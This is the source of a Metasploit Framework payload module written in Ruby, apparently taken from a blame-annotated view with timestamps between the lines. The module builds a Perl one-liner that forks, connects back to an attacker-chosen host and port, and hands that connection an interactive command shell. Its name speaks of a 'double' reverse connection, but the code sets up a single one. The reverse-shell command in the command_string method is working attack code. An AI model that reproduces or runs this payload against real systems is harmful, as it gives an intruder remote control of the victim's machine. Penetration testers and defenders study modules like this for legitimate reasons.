2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-02-24 01:19:59 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-12-30 22:24:22 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/handler/reverse_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2010-02-24 01:19:59 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
module Metasploit3
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2010-02-24 01:19:59 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
2012-08-07 20:59:01 +00:00
|
|
|
'Name' => 'Windows Command, Double reverse TCP connection (via Perl)',
|
2009-12-30 22:24:22 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'Description' => 'Creates an interactive shell via perl',
|
|
|
|
'Author' => ['cazz', 'patrick'],
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'PayloadType' => 'cmd',
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Constructs the payload
|
|
|
|
#
|
|
|
|
def generate
|
|
|
|
return super + command_string
|
|
|
|
end
|
2010-02-24 01:19:59 +00:00
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
#
|
|
|
|
# Returns the command string to use for execution
|
|
|
|
#
|
|
|
|
def command_string
|
2011-12-14 06:27:18 +00:00
|
|
|
lhost = datastore['LHOST']
|
2012-06-06 05:44:38 +00:00
|
|
|
ver = Rex::Socket.is_ipv6?(lhost) ? "6" : ""
|
2011-12-14 06:27:18 +00:00
|
|
|
lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
|
|
|
|
cmd = "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'"
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
|
2010-02-24 01:19:59 +00:00
|
|
|
end
|